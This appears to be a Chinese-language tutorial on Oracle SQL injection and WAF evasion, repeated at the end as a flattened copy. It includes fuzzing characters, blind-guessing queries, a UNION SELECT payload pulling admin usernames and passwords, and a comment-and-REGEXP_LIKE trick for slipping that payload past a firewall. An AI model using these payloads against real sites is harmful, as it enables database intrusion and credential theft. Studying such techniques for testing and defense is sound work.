oracle注入绕狗
字数 1017 2025-08-03 16:45:09

Oracle注入绕过WAF技术详解

0x00 前言

Oracle数据库注入与MySQL注入存在语法差异,本文记录Oracle注入基础知识和绕过WAF(Web应用防火墙)的技术要点。

0x01 基础Fuzz测试

空白符测试

在数字型注入点(如id=1(fuzz点)union select)测试以下空白符:

  • %09 (水平制表符)
  • %0A (换行符)
  • %0B (垂直制表符)
  • %0C (换页符)
  • %0D (回车符)

特殊字符测试

以下字符的URL编码形式添加后不影响SQL语句执行:

  • %2E (.)
  • %44 (D)
  • %46 (F)
  • %64 (d)
  • %66 (f)

关键字变体

使用ALLDISTINCT修饰符:

union ALL select DISTINCT null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN

0x02 Oracle注入函数技巧

条件判断函数

  1. DECODE函数 - 判断用户第一个字符是否为'S':
select decode(substr((select user from dual),1,1), chr(83), 1, 0) value from dual;
select decode(ascii(substr((select user from dual),1,1)), '83', 1, 0) value from dual;
  1. CASE WHEN与INSTR组合
select decode((instr(user, chr(83), 1, 1)), 1, 1, 0) value from dual;
select case instr(user, chr(83), 1, 1) when 1 then 1 else 0 end value from dual;
  1. LPAD/RPAD函数
select decode('S', rpad(user, 1,1), 1, 0) value from dual;
select decode('S'||'Y', rpad(user, 2,1), 1, 0) value from dual;
select decode(concat('SYS','TEM'), rpad(user, 6,1), 1, 0) value from dual;

其他有用函数

  • 字符处理:chr, concat, initcap, lower, lpad/rpad
  • 正则相关:regexp_replace, regexp_substr
  • 字符串操作:replace, trim/ltrim/rtrim, soundex, substr, translate, upper
  • NLS函数:nls_initcap, nls_lower, nls_upper

0x03 WAF绕过技术

注释绕过技术

  1. 基本思路

    • 使用/*sql语句*/注释包裹语句可以避免被WAF检测
    • 但这样会导致SQL语句无法正常执行
  2. 有效绕过方法

    • 在注释后添加/*闭合,并使用正则函数REGEXP_LIKE
    and REGEXP_LIKE(null, '/*')  union select null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN--*/
    
    • 这种方法允许SQL语句正常执行同时绕过WAF检测
  3. 替代方案

    • 使用其他函数或语法结构实现类似效果

0x04 总结与建议

  1. Oracle注入与MySQL注入有显著语法差异,需要熟悉Oracle特有函数和语法
  2. WAF绕过依赖于对SQL语法的深入理解,了解的函数和技巧越多,绕过思路越广
  3. 实际环境中WAF规则可能不同,需要根据具体情况调整绕过技术
  4. 建议深入研究Oracle官方文档,掌握更多函数和语法特性

0x05 参考资源

  • Oracle注入技术讨论
  • Oracle官方文档中的字符串函数和正则表达式函数部分
  • WAF规则集和常见过滤模式研究
Oracle注入绕过WAF技术详解 0x00 前言 Oracle数据库注入与MySQL注入存在语法差异,本文记录Oracle注入基础知识和绕过WAF(Web应用防火墙)的技术要点。 0x01 基础Fuzz测试 空白符测试 在数字型注入点(如 id=1(fuzz点)union select )测试以下空白符: %09 (水平制表符) %0A (换行符) %0B (垂直制表符) %0C (换页符) %0D (回车符) 特殊字符测试 以下字符的URL编码形式添加后不影响SQL语句执行: %2E (.) %44 (D) %46 (F) %64 (d) %66 (f) 关键字变体 使用 ALL 或 DISTINCT 修饰符: 0x02 Oracle注入函数技巧 条件判断函数 DECODE函数 - 判断用户第一个字符是否为'S': CASE WHEN与INSTR组合 : LPAD/RPAD函数 : 其他有用函数 字符处理: chr , concat , initcap , lower , lpad/rpad 正则相关: regexp_replace , regexp_substr 字符串操作: replace , trim/ltrim/rtrim , soundex , substr , translate , upper NLS函数: nls_initcap , nls_lower , nls_upper 0x03 WAF绕过技术 注释绕过技术 基本思路 : 使用 /*sql语句*/ 注释包裹语句可以避免被WAF检测 但这样会导致SQL语句无法正常执行 有效绕过方法 : 在注释后添加 /* 闭合,并使用正则函数 REGEXP_LIKE : 这种方法允许SQL语句正常执行同时绕过WAF检测 替代方案 : 使用其他函数或语法结构实现类似效果 0x04 总结与建议 Oracle注入与MySQL注入有显著语法差异,需要熟悉Oracle特有函数和语法 WAF绕过依赖于对SQL语法的深入理解,了解的函数和技巧越多,绕过思路越广 实际环境中WAF规则可能不同,需要根据具体情况调整绕过技术 建议深入研究Oracle官方文档,掌握更多函数和语法特性 0x05 参考资源 Oracle注入技术讨论 Oracle官方文档中的字符串函数和正则表达式函数部分 WAF规则集和常见过滤模式研究